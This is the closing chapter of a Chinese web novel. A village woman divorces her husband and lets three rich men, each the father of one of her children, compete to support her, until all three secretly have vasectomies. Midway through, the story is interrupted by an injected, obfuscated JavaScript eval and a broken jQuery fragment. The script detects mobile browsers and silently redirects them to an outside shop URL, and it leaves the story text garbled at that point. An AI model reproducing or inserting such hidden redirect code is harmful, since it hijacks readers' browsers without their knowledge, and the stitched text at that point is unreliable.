果不其然,这层窗户纸被捅破后,两位大佬的“军备竞赛”正式拉开了帷幕。
第二天,傅珈珩的助理便准时登门。对方不仅拎来了成箱的进口奶粉、尿不湿和当季童装,还贴心地带来了一位经验丰富的育儿嫂。
“何女士,傅总特意交代,以后家务和带孩子的事您都不用操心,安心休养就行。”
何盼娣象征性地推辞了两句,便顺水推舟地收下了。以前的她老实巴交,可如今为了孩子的将来,她必须要!傅总的这份心意,她自然要领情。
到了第三天,陆淮亲自来了。他没有上楼,而是把车停在楼下,拨通了她的电话。
“盼盼,下来,我带你和孩子出去吃饭。”
何盼娣压低声音,语气透着几分无奈:“大宝刚睡着,改天吧。”
电话那头沉默了一瞬,他倒也没勉强。可刚挂断电话没两分钟,她的手机便震动了一下。支付宝里凭空多出了一笔转账——整整一百万。
转账备注干净利落,只有四个字:自愿赠与。
何盼娣盯着屏幕上的那四个字看了半天,忍不住笑出了声。
这两个男人,真是一个给她送人,一个给她送钱;一个主打细水长流的体贴,一个偏爱简单粗暴的直给。
风格迥异,但都挺好。
小孩子才做选择,成年人,当然是全都要。
接下来的日子,简直就像是一场没有硝烟的打牌游戏。傅珈珩出一张牌,陆淮便稳稳地跟上一张,两个人谁也不肯在气势上让谁分毫。而何盼娣,就坐在中间,稳稳当当地将他们抛来的筹码尽收囊中。
傅珈珩大手一挥,给大宝报了一家顶尖的国际幼儿园,一年五十万的学费,他眉头都没皱一下便全额付清了。
陆淮知道后,二话不说,直接给她换了一辆代步车。不是什么几千万的豪车,也就二百来万的款式,但比起她之前那辆破旧的小三轮,简直是一个天上一个地下。
傅珈珩得知此事后,转头便让助理给她送来了一块腕表。何盼娣不识货,上网一查,价格赫然写着三百万。
陆淮也不甘示弱。他这次没送那些花里胡哨的物件,而是直接请了律师,把何盼娣名下那套房子的贷款一次性全还清了。
当何盼娣拿着银行发来的结清短信时,激动得手都在微微发抖。
每个月五千八的房贷,像一座大山一样压了她整整多久?如今这笔支出彻底清零,等于她每个月都在纯赚钱。
两个高高在上的男人为了她争锋相对,而她这个从农村出来的女人,就这么舒舒服服地坐享其成。
何盼娣靠在沙发上,看着手机里的余额和满屋子的高档物件,惬意地叹了口气。
这神仙般的日子,给个神仙都不换。
但好日子没过多久,周嘉壕那边出事了。
那天下午,何盼娣正带着两个孩子在小区花园里玩耍,手机忽然震动了起来。屏幕上闪烁着周嘉壕的名字。他平时很少主动给她打电话,都是婆婆打。
何盼娣接起电话,那头传来周嘉壕熟悉的声音:“盼娣,你在哪儿呢?”
“在城里,带孩子呢。怎么了?”
“我……我到城里了,来看看你和孩子。你把地址发给我。”
何盼娣心里咯噔一下。
他这个时候跑来干嘛?
但她转念一想,也不能直接拒绝。周嘉壕名义上还是她的丈夫,孩子们名义上也还是他的。要是不然他来,反倒显得她做贼心虚。
于是,她干脆利落地把定位发了过去。
挂了电话,何盼娣立刻切到微信,给傅珈珩发了条消息:“珈珩哥,今天别过来了,我老家有人来。”
紧接着,她又给陆淮发了一条:“淮哥,今天别过来了,不太方便。”
两人几乎同时回了个“好”字。
一个多小时后,周嘉壕到了。
他在小区门口被保安拦下,何盼娣只得亲自下楼去接。
他一走进小区,眼珠子就不够用了,东张西望地打量着周围的绿化和喷泉,嘴里忍不住念叨:“这地方真好啊,这得多少钱啊?”
何盼娣没接话。
到了家,他更愣了。站在玄关,脚都不敢往里迈。
“这……这是你买的?”
“分期买的。”何盼娣随口敷衍,“进来吧,别站着了。”
他手忙脚乱地换了鞋走进来,一眼便看见两个儿子正坐在爬行垫上玩积木。他眼睛猛地一亮,蹲下身子想要抱大宝,可大宝根本不认识他,警惕地往旁边躲开了。
周嘉壕尴尬地笑了笑,搓了搓手说:“大宝都不认识我了。”
何盼娣没说话,径直走进厨房倒了杯水递给他。
周嘉壕坐在沙发上,东摸摸西看看,那副没见过世面的模样,活像刘姥姥进了大观园。
“盼娣,你现在过得真好啊……”
听他那语气,跟酸黄瓜似的。
何盼娣没理他。
周嘉壕见她不接茬,又试探着开口:“我妈想大宝了,让我接回去住几天。”
何盼娣在心里冷笑了一声。接回去住几天?接回去就还了吧。
她面不改色地拒绝:“大宝马上要上幼儿园了,就在城里。回去住几天会耽误报名的。”
“那……那我在这儿住两天总行吧?看看孩子。”他退而求其次。
何盼娣没法拒绝。毕竟他是法律上的丈夫,不住这儿又能住哪儿?
“行,你住吧。客房我一会儿给你收拾。”
当天晚上,何盼娣做了一桌子菜。周嘉壕吃得极香,还就着菜喝了半斤白酒,喝到最后,脸红得跟猴屁股似的。
吃到一半,他借着酒劲,忽然冒出一句:“盼娣,你是不是在外面有人了?”
何盼娣夹菜的筷子连顿都没顿,从容地将一块排骨放进嘴里,嚼完咽下后,才开口:“你喝多了吧。”
“我是传统的女人,你别听外头胡说八道的!”
“我没喝多!”周嘉壕盯着她,眼睛红红的,“你住这么好的房子,开上了车,你哪来那么多钱?”
何盼把筷子放下了,看着他。
“周嘉壕,你一个月给我打多少钱,你心里没数吗?那点钱够干什么的?我自己摆摊挣的,不行吗?”
他张了张嘴,没说出话来。
何盼娣看着他这副窝囊样,又冷冷地加了一句:“你管好你自己就行了。”
他低下头,不说话了。
何盼娣静静地看了他一眼,心底那个念头又不由自主地冒了出来。
他到底知不知道,三个宝不是他的?
应该不知道。他那脑子,想不到这么深。
但她也不能掉以轻心。
那天晚上,何盼娣没怎么睡。
客房就在她主卧对面,隔着一个走廊。半夜两点多,她起来上厕所。厕所在走廊尽头,经过客房的时候,她听见里面有动静。
不是打呼噜,是说话声。
大半夜的,他跟谁说话?
何盼娣轻手轻脚走过去,门没关严,留了一条缝。她往里一看——
周嘉壕坐在床边,光着膀子,举着手机。手机屏幕亮着,视频通话,对面的人她一眼就认出来了。
何耀祖。她的亲弟弟。
两个人隔着屏幕在那儿腻歪,周嘉壕笑得跟个傻子似的。
何盼娣当时就想推门进去,把手机给他摔了。但她忍住了。
她站在门口,听了一会儿。
何耀祖在那边说:“姐夫,我想你了,你啥时候回来?”
周嘉壕说:“弟宝乖,我明天就回。这边待着没意思。”
何耀祖又说:“姐没发现吧?”
周嘉壕笑了:“她那脑子,发现啥?她天天就想着她那两个儿子,哪顾得上我。”
何盼娣站在门外,指甲掐进掌心里。
但下一秒,她又不气了。
气什么?他说得对,她确实顾不上他。她心里有傅珈珩,有陆淮,有她的三个孩子,什么时候有过他周嘉壕?
他要是不喜欢男人,她还不好办了呢。
他要是正常男人,天天缠着她,她反倒麻烦了。
他跟何耀祖好,她求之不得。一个管不住□□的老公,离婚的时候才能多分点东西。
何盼娣悄悄回了屋。
第二天一早,周嘉壕就走了。说他妈身体不舒服,要回去看看。
何盼娣没留他。
他走的时候,她站在阳台上往下看。他出了小区门,头都没回。
何盼娣笑了。
回了就好。回去了,就别再来了。
这里没他的位置。
这房子是她的,孩子是她的,钱是她的。两个有钱男人争着抢着给她花钱。
他周嘉壕算个什么东西?
-
但事情没她想得那么简单。
周嘉壕回去没几天,婆婆的电话就打过来了。
“何盼娣,你赶紧回来一趟。”
语气不对。
何盼娣问:“咋了?”
“你回来就知道了。”
何盼娣挂了电话,心里翻来覆去地想。
不对劲。
周嘉壕回去才三天,婆婆就打电话让她回去,语气还那么硬。
她想了想,给傅珈珩发了个消息,说自己回老家几天。又给陆淮发了一个。
然后她把大宝二宝带上了。不带上不行,放在城里她不放心,带回村里有她妈看着,还能让婆婆见见孙子,省得她闹。
到了村里,何盼娣就知道出事了。
村口那几个长舌妇看见她,眼神就不对。指指点点的,交头接耳的。
她心里有数了。
到了周家,院子里坐了一堆人。公婆、周嘉壕、她妈、何耀祖,还有几个本家的长辈。
阵仗挺大。
何盼娣抱着二宝,牵着大宝,站在院子中间。
“咋了?”
婆婆先开口了:“何盼娣,我问你,你在城里,是不是跟别的男人来往了?”
何盼娣心里咯噔一下,脸上一点没露。
“妈,你听谁说的?”
“你别管我听谁说的,你就说有没有。”
周嘉壕坐在那儿,低着头,不敢看她。
何盼娣一下子就明白了。
他回去之后,肯定找人打听了。或者在小区里看见什么了,或者跟谁喝酒说漏嘴了。
但她不能认。
“没有。”她说,“我一个人带孩子,摆摊挣钱,哪有时间跟别的男人来往?”
婆婆冷笑了一声:“没有?那城里的房子谁给你买的?车谁给你买的?你摆摊能挣那么多钱?”
何盼娣心里气得要死,脸上却委屈得不行。
“房子是分期买的,月供五千八,我自己还的!车是个二手车,三万块钱,我自己攒的!你们要是不信,我把银行流水打给你们看!”
她声音越来越大,眼泪说来就来。
“我在城里起早贪黑摆摊,手泡在汤里泡得发白,指甲缝里全是辣椒油。你们呢?你们在村里吃香的喝辣的,一个月从我这儿拿五百块钱养老!我给你们老周家生了两个孙子,肚子里还怀一个,你们就这么冤枉我?”
她越说越激动,抱着二宝的手都在抖。
“行!你们不信我,那我走!孩子我带走,以后你们别想看一眼!”
何盼娣转身就要走。
婆婆赶紧拉住她:“你走啥走?问两句就不行了?”
何盼娣她妈也站起来打圆场:“盼娣,你婆婆就是问问,你急啥?”
何耀祖坐在角落里,一直没说话。但他看何盼娣的眼神,跟以前不一样了。
何盼娣心里明白,这出戏,八成跟他有关系。
但她现在不能撕破脸。
她转过身,擦了擦眼泪,声音小了。
“妈,我何盼娣对天发誓,我没有做对不起周家的事。我要是做了,让我天打雷劈。”
反正她也不信这个。
婆婆脸色缓了缓,但还不太信。
这时候,大宝忽然开口了:“妈妈,我要回家。”
他拽着何盼娣的衣角,声音小小的。
婆婆看见大孙子,脸一下就软了。她蹲下来想抱大宝,大宝躲开了。
何盼娣趁机说:“妈,大宝明天还要上幼儿园,我得带他回去了。”
婆婆没再拦她。
何盼娣带着两个孩子,出了周家的门。
走到村口的时候,何耀祖从后面追上来了。
“姐。”
何盼娣停下脚步,没回头。
“姐,你在城里的事,我都知道。”
何盼娣转过身,看着他。
她这个弟弟,从小被她妈惯坏了。要什么给什么,想什么来什么。周嘉壕的钱,一半花在了他身上。
何盼娣笑了:“你知道什么?”
“我知道你跟两个男人……”他没说完,但意思到了。
何盼娣看着他,一字一句地说:“何耀祖,你先管好你自己。你跟周嘉壕那点破事,我全知道。我要是把监控摆出来,你看妈是信我,还是信你?”
何耀祖的脸白了:“你……”
“我什么?”何盼娣说,“你老老实实的,别给我找麻烦。我好了,你才能好。我要是不好,你也别想好。”
何盼娣抱着孩子上了车,头都没回。
在车上,她闭着眼睛想,这一关算是过去了。
但她知道,这只是开始。周嘉壕那边,迟早得有个了断。何耀祖那边,也得防着。
傅珈珩和陆淮还在争。
日子越过越热闹了。可她一点都不怕。
她一个农村女人,从泥巴地里爬出来,住进了别墅区。
她怕什么?
老天爷追着给她喂饭吃,她不能不吃。
接下来,不管来什么,她都接着。
离婚的事,办得比何盼娣想的还要顺。
周嘉壕那边,她直接把底牌——他和何耀祖的事往桌上一摆,周嘉壕的脸瞬间白得跟纸一样。离婚协议是何盼娣找顶级律师亲自拟的:孩子归她,房子归她,他每个月还得乖乖交两千块钱的“抚养费”。
他连一个字都不敢多讲,老老实实地签了字。
他没声张,何盼娣也没声张。在村里人面前,他依然是她的老公,逢年过节她还会带着孩子回去吃顿饭,哄婆婆开心。谁也看不出来他们早就离了婚。
手里攥着他的死穴,她怕什么?
离完婚没两个月,沈辞回来了。
他比出国前高了些,肩膀宽了,下巴的线条也硬朗了,但那张脸还是干干净净的,笑起来的时候眼睛里像是有星星。他爸把公司交给了他,他还拿下了影帝奖,开的车从保时捷换成了更贵的款式。何盼娣不认识牌子,只知道一整个小区的人都忍不住扭头看。
他回来的第二天就来找她了。
站在她家门口,手里捧着一大束花,西服笔挺,头发梳得整整齐齐。
“盼盼姐,我回来了。”
何盼娣看着他那张脸,又看看他手里的花,心里头只有一个念头:这孩子,还是一样单纯。
她笑得温温柔柔的,眼眶红红的,声音带着颤:“回来就好,回来就好。”
他进门就看见了二宝。
二宝那时候已经会走路了,摇摇晃晃地从爬行垫上站起来,仰着小脸看这个陌生的叔叔。沈辞盯着二宝的脸看了好一会儿,二宝笑起来有两个酒窝,蓝眼睛的混血长相,跟他爸一模一样。
沈辞的眼眶一下子红了。
“盼盼姐,这是……”
何盼娣低着头,声音小小的:“你不是说要我打了嘛?我没舍得。”
他眼泪当场就掉下来了。
一个二十几岁的男人,西装革履的,蹲在地上抱着二宝哭。大宝在旁边看着,觉得奇怪,拉着何盼娣的手问:“妈妈,这个叔叔怎么了?”
她说:“没事,叔叔高兴。”
从那天起,沈辞三天两头往她家跑。今天带玩具,明天带衣服,后天带一整车婴儿用品。
傅珈珩知道了不高兴,陆淮知道了也不高兴。两个男人天天来,天天垮着个脸。
可何盼娣不怕他们不高兴。
三个男人,三个孩子的爹,她一个都不打算放。
日子就这么红红火火过起来了。
傅珈珩知道她离婚后,来得更勤了。他给大宝请了最好的钢琴老师,一节课一千多,眼都不眨。大宝坐在钢琴前,小脸绷得紧紧的,跟傅珈珩简直是一个模子刻出来的。傅珈珩看着他的眼神,又骄傲又心疼。
陆淮更不用说了。三宝是他的心头肉,恨不得天天抱着不撒手。他一米八几的大男人,把三宝扛在肩上在小区里转悠,逢人就说“这是我闺女”。他爸妈——也就是三宝的爷爷奶奶——知道以后专程从外地飞过来看孙子,老太太抱着三宝又亲又哭,老爷子当场给何盼娣转了五百万,说是“见面礼”。
沈辞刚从国外回来,手里最宽裕,花钱也最大方。他给二宝报了个什么早教班,一年一百万,何盼娣连那个学校门朝哪开都不知道。他爸妈也来了,开着两辆车,后备箱塞满了东西,拉着她的手说:“小辞不懂事,让你一个人带孩子受苦了。”
何盼娣笑着说没有没有,心里想的却是:你们要是知道我还给另外两个男人生了孩子,不知道还笑不笑得出来。
但他们不会知道的。
-
晚饭后的烟火气还未散尽,客厅里的地暖烘得人浑身发软。
三个模样精致的小孩正趴在地毯上搭积木,眉眼间各随各的爹,一眼便能分清谁是谁的骨血。
沙发上的气氛却泾渭分明。三个气场迥异的男人,此刻却抱着同一个目的,目光牢牢锁在何盼娣身上。
傅珈珩端坐在单人沙发里,衬衫袖口的纽扣一丝不苟地扣到最上面一颗。他眉眼清冷沉敛,视线落在何盼娣身上时,带着沉淀许久的郑重。
他最先打破沉默,声线低沉克制:“盼盼,和我领证吧,孩子需要完整的家庭。”
直白,强势,是他一贯的做派。
何盼娣眨了眨眼睛,立刻开始装傻:“现在这样......也挺完整的呀。”
“别听他的。”旁边的陆淮嗤笑一声,身子微微前倾。他敛去了平日里的玩世不恭,那双多情的桃花眼此刻认真得少见,“嫁我。他是个闷葫芦,不会疼人。我能把你和三个小朋友都宠上天。”
何盼娣笑着打哈哈:“以后再说。”
另一侧的沈辞双手捧着温热的水杯,耳尖微微泛红。他生着一张极具辨识度的混血面孔,眉骨深邃,鼻梁高挺,瞳孔在暖黄的灯光下泛着琥珀般的光泽。
可这副本该带着几分凌厉感的异域长相,此刻却盛满了温柔干净的笑意。他声音极温柔,态度却不容置喙:“盼盼,考虑我好不好?我不会让你受半点委屈,孩子们我也会好好疼。”
何盼娣伸手揉了揉他的脑袋:“你还小。”
三个男人齐刷刷看向她,目光里带着不加掩饰的渴求与恳求,异口同声问:“所以,到底什么时候领证?”
又是这样。
何盼娣在心里无声地叹了口气。最近半个月,这样的戏码天天都在上演。
自从摊清了所有过往,敲定了亲子关系,这三个在外界眼里高高在上、不可一世的顶级男人,便彻底撕破了往日的疏离与傲慢,挤破头地想要和她领那张结婚证。
换作别的女人,恐怕早就晕头转向,沉溺在这场豪门极致的偏爱里无法自拔了。
可何盼娣不是。
她蜷在沙发正中间,手里慢条斯理地剥着橘子,指尖细致地剔除着橘络。她脸上笑呵呵,心里却跟明镜似的。
她已经结过一次婚了,尝过婚姻的滋味。
她压根就没想过要再婚。
忙活了大半辈子,打工、挣钱、养小孩,安安稳稳地过好眼前的日子,才是她唯一的目标。至于婚姻里那些束缚人的条条框框,她半点也不贪恋。
这三个男人的条件实在太过优越,权势、容貌、家世,无一不是金字塔尖的拔尖。
真要将这三份沉甸甸的筹码全压在一个红本子上,何盼娣反倒觉得烫手,浑身不自在。
她慢条斯理地剥开一瓣橘子塞进嘴里,借着清甜的果香打了个哈哈。随口找了个无伤大雅的借口来搪塞:
“你们现在话说得倒是好听。”
“可男人不都这样吗?当下的真心不假,但以后谁又说得准呢。”
她掀起眼皮,脆弱地扫过面前三张帅得晃眼的脸,半真半假地叹了口气:
“你们年轻,有钱,家庭又好。以后要是遇见更年轻、更漂亮的小姑娘,又想生孩子怎么办……到时候,我和这三个娃,哭都没地方哭?”
说完,她逞强地摆了摆手,笑着将话头岔开:“行了行了,这事儿不急。你们好好把三个孩子养大供好,让我这日子过得舒坦了,不比领那张证强?”
轻飘飘的两句客套话,纯纯是不想结婚的推辞。
可这话落在沙发上三个心思深沉、满心愧疚的男人耳朵里,却瞬间变了味道。
三人的神色几乎是同时沉了下来,眼底翻涌起晦暗不明的情绪。同一种念头,在三个男人的心底同步生根、疯长——
她没有安全感,她还不够相信他们。
她怕他们变心,怕他们日后有了别的子嗣,就会毫不犹豫地抛弃她和这三个孩子。
这场谈话最终草草收场。
何盼娣吃完橘子,便起身哄着孩子们去洗澡,压根没把这微不足道的小插曲放在心上。
可另外三个男人,却各自揣着沉甸甸的心事,在寂静的深夜里,不约而同地做出了同一个决定。
-
高端私立全科医院,顶层独立男科诊疗区。
这里隐私级别全城最高,豪门权贵大多偏爱来这里就诊,私密性拉满。
上午九点。
傅珈珩最先抵达。
黑色定制西装,身形挺拔冷肃,秘书跟在身后连大气都不敢出。这位傅氏掌权人向来运筹帷幄,凡事权衡利弊,唯独这件事,他没有丝毫犹豫。
他指尖捏着预约单,眼底是沉淀下来的偏执与愧疚。
错过大宝的出生,是他这辈子唯一的遗憾。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700997|207529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
剩下的人生,他不想再有任何变数,更不能再有任何意外。
他只要这一个家。
他只要何盼娣,和她的孩子。
仅此一生,别无多求。
他要的不是一时表态,是终身枷锁。斩断所有后路,给她最绝对的安心。
“手术。”傅珈珩言简意赅,没有多余情绪,“做完把单据留给我。”
医生抬头看他:“傅先生,这种手术不可逆风险需要考虑。”
傅珈珩神情平静:“我考虑好了。”
他缓缓开口:“我已经错过了太多。以后,我不会再让任何人、任何事,分走我该给他们的责任。”
医生点点头,在同意书上签了字。
没过十分钟,走廊转角脚步声散漫响起。
陆淮来了。
没穿正式西装,黑衬衫解开两颗领口,眉眼妖孽张扬,只是往日散漫的桃花眼此刻多了几分认真。
他从小绯闻缠身,圈子里风流名声人尽皆知。盼盼那句话,精准戳中了他最大的短板。
她肯定怕他本性难移,怕他玩心不改日后变心。
那他就证明给她看。
全世界都可以误解他,唯独盼盼不行。
他要明目张胆告诉她,他可以为她戒掉所有风月,斩断所有可能性。
不为别的,就是心甘情愿。
陆淮挑眉对接待医生说:“预约绝育,最快安排。”
医生拿着病历,看了他半天:“确定?”
陆淮点头:“确定。”
“以后不能后悔。”
“不会。”
他回答得没有一点犹豫。
“我有三个孩子,够了。”
“我以后,只想守着她和孩子过。”
他甚至已经想好了,做完手术回去要如何求表扬,告诉她这下可以百分百放心。
又隔了五分钟,走廊尽头走来一道高瘦干净的身影。
沈辞裹着浅色大衣,少年感和混血感十足,眉眼温润易碎。
他入局最晚,年纪又小。
从一开始他就清楚,自己争不过傅珈珩,比不过陆淮。
反正他只想要她,从未想过要别的任何人。盼盼和她的孩子,就是他全部的偏爱。
既然她顾虑不安,那他就用最简单最彻底的方式,稳住她的心。
不求名分,只求能留在她和宝宝身边。
医生都有点麻木了:“小伙子,你还这么年轻。”
沈辞却笑得干净又坦荡,琥珀色的瞳孔里满是笃定:“正因为年轻,才更该想清楚。”
“我这辈子,只想跟她有孩子。”
“现在,已经有了。”
“够了。””
--
空旷安静的手术等候走廊。
三道气场截然不同的身影,在转角处迎面撞上。
傅珈珩:......
陆淮:......
沈辞:......
空气一瞬间死一般寂静。
傅珈珩脚步顿住,冷白的指尖捏着浅蓝手术同意书,万年不变的面瘫脸,第一次出现明显的裂痕。
陆淮脸上期待的笑意瞬间僵死在嘴角,桃花眼猛地睁大,满脸错愕。
沈辞脚步一顿,温润的眼底写满震惊,耳尖的血色瞬间褪去。
三个人面面相觑。
低头。
三张一模一样的《绝育手术知情同意书》,拿在三只顶级权贵的手里。
白纸黑字,一模一样。
当班医生拿着病历本走过来,看着眼前三位颜值出圈、身份不菲的男人,疑惑开口:
“三位先生,你们认识吗?是一起预约的?刚好排到连着的三台手术。”
没人回话。
走廊静得能听见呼吸声。
三个人脑子里,同步炸开同一句心声:
他也来了?
他也为了盼盼,断了所有后路?
傅珈珩收回目光,眸色沉了几分。他向来低调做事,从没想过内卷,可这一刻心底莫名升起一丝博弈的胜负欲。
陆淮咬紧后槽牙,早知道就连夜来了。
沈辞轻轻抿唇,无奈又柔软。原来不止他一个人,想给她这种极致的安全感。
-
三天后。
午后的阳光透过玻璃窗洒进奶茶店,何盼娣正坐在靠窗的位置,低头按着计算器,盘算着这个月的账目。
风铃轻响,陆淮先到了。
他走到桌前,将一份文件轻轻推到她手边,嗓音低沉温和:“盼盼,以后你不用再担心那些事了。”
何盼娣疑惑地垂下眼眸。
视线触及到文件上的黑体字时,她猛地一怔——《输精管结扎术后证明》。
指尖一颤,计算器差点磕在桌面上。
“你疯啦?”她抬起头,满眼错愕。
陆淮垂着眼睫,平日里玩世不恭的脸上,竟破天荒地浮现出一丝不好意思:“只有这样,你才会相信,我永远不会跟别人有孩子了。”
何盼娣的心跳还没从震惊中平复,门上的风铃再次清脆作响。
傅珈珩推门而入。
他依旧是那副清冷沉敛的模样,走到桌前,将另一份文件并排放在了第一份旁边,声线平稳:“这是我的。”
何盼娣低头看去。
又是一模一样的证明。
她脑子里“嗡”的一声,彻底空白了。
还没等她组织好语言,门口再次传来急促的脚步声。
“姐!”
沈辞一路小跑进来,额前还带着薄汗,笑得像个终于完成任务、等着被夸奖的大型犬。
“我也做完了。”
啪。
第三份证明被郑重地放在了桌上。
三份文件,整整齐齐地叠在一起。
空气在这一刻陷入了长达十秒的死寂。
何盼娣的目光在这三份证明上缓缓移动,看看这份,又看看那份,最后再看向第三份。
她整个人都傻了,连呼吸都停滞了一瞬。
“……你们三个,”她深吸了一口气,声音都在飘,“是不是商量好的?”
三个男人几乎同时开口:
“没有。”
“不是。”
“我不知道他们也会去。”
三句否认,严丝合缝地撞在了一起。
奶茶店里再次陷入了令人窒息的安静。
他们缓缓转过头,目光在半空中交汇。
眼底那份针锋相对的敌意分毫未减,只是,此刻每个人的脸上,都多了一层说不出口,却又如出一辙的郁闷。
-
最热闹的是过年。
大年三十那天,何盼娣犯了难。
傅珈珩让她带孩子去他家吃年夜饭。陆淮说他已经订好了酒店。沈辞更直接,说他爸妈已经把家里的主桌留出来了。
她谁都没答应,谁都没拒绝。
大年三十那天,三个男人先后到了她家。
傅珈珩先来,带着海鲜和红酒。陆淮后到,拎着烤鸭和蛋糕。沈辞最后来,抱着一箱烟花和一袋饺子皮。
三个人在客厅里碰面,空气一下子就不对了。
傅珈珩看着陆淮:“你怎么来了?”
陆淮看着沈辞:“你是谁?”
沈辞看着他们两个:“你们又是谁?”
大宝在中间跑来跑去,二宝在沙发上爬,三宝在婴儿车里哭。
何盼娣站在厨房门口,手里拿着锅铲,中气十足地喊了一句:
“都别吵了!今天过年,谁要是给我添堵,以后别想进这个门!”
三个人全闭嘴了。
那天晚上,她家从来没有这么热闹过。
一张圆桌,坐了三拨人。傅珈珩坐左边,陆淮坐右边,沈辞坐下首。何盼娣坐在中间,三个孩子挨着她。
大宝吃了一口傅珈珩夹的菜,又吃了一口沈辞剥的虾,最后喝了一口陆淮倒的果汁。三个男人谁也不看谁,全都盯着大宝笑。
年夜饭吃到一半,楼下有人放烟花。大宝拉着傅珈珩要去窗边看,二宝学着哥哥的样子拽沈辞的裤腿,三宝在陆淮怀里睡得呼呼的。
何盼娣站在窗边,看着满天的烟花,又看看屋里这一大家子,心里头只有一个念头:
她何盼娣,这辈子值了。
过完年,消息不知道怎么就传到了村里。
居然有红眼病说她的好日子是被电死前的幻想?真是气人!
不过大多数人还是祝福她的。
比如先是婆婆打来电话,声音都变了调:“盼娣啊,我听说你在城里认识了好多大老板?你可得帮帮你小姑子,给她在城里找个工作……”
然后是她妈打来电话,笑得合不拢嘴:“盼娣啊,你弟弟说想进城跟你干,你给他安排安排呗。”
最后连村支书都给她打电话了,说想请她回去给村里的妇女讲讲课,讲讲农村妇女怎么创业致富。
何盼娣没答应回去讲课。
但她给村里捐了十万块钱,修了那条一下雨就没法走的路。
不是她心善,是让他们知道,她何盼娣现在有钱了,有本事了。谁要是敢在背后嚼她的舌根,先想想她那十万块钱。
至于那三个男人?
他们现在也不争了。
不是何盼娣让他们不争的,是争累了。
傅珈珩忙,一个月有半个月在出差。陆淮也忙,他的生意越做越大。沈辞更忙,刚接手公司,天天开会应酬。还得外出演戏。
三个人谁都陪不了她全天,但三个人加在一起,就把她和三个孩子养得舒舒服服的。
大宝的钢琴课,傅珈珩出。
二宝的早教班,沈辞出。
三宝的奶粉钱,陆淮出。
她的房贷早就还清了,车也换了更好的,银行卡里的数字她不太敢看,怕看了睡不着觉——高兴得睡不着觉。
如今,何盼娣住在城北那个别墅区里,带着三个儿子。偶尔出去遛弯时,她身后总是跟着一串小尾巴。
大宝骑着小三轮车在前面冲,二宝踩着小滑板车在中间追,三宝坐在婴儿车里由阿姨推着走。何盼娣走在最后面,手里端着一杯奶茶,慢慢悠悠的。
小区的老太太们看见她,没有一个不眼红的。
“盼盼啊,你这三个儿子,一个比一个好看!”
“盼盼啊,你命咋这么好呢?”
“盼盼啊,你老公呢?好久没见你老公了。”
何盼娣总是笑着说:“出差了,他出差多。”
她们信不信,她根本不在乎。
反正她有三个儿子,三个男人,三套房子,还有花不完的钱。
她一个农村女人,大专文凭,曾经要啥没啥。
从泥巴地里爬出来,她硬是住进了别墅区。
她妈曾说,女人这辈子最重要的任务是嫁汉子。
她没嫁好一个,但她搞定了三个。
老天爷追着给她喂饭吃,她就这么吃成了全村最让人羡慕的女人。
这日子,给个神仙都不换。
(全文完)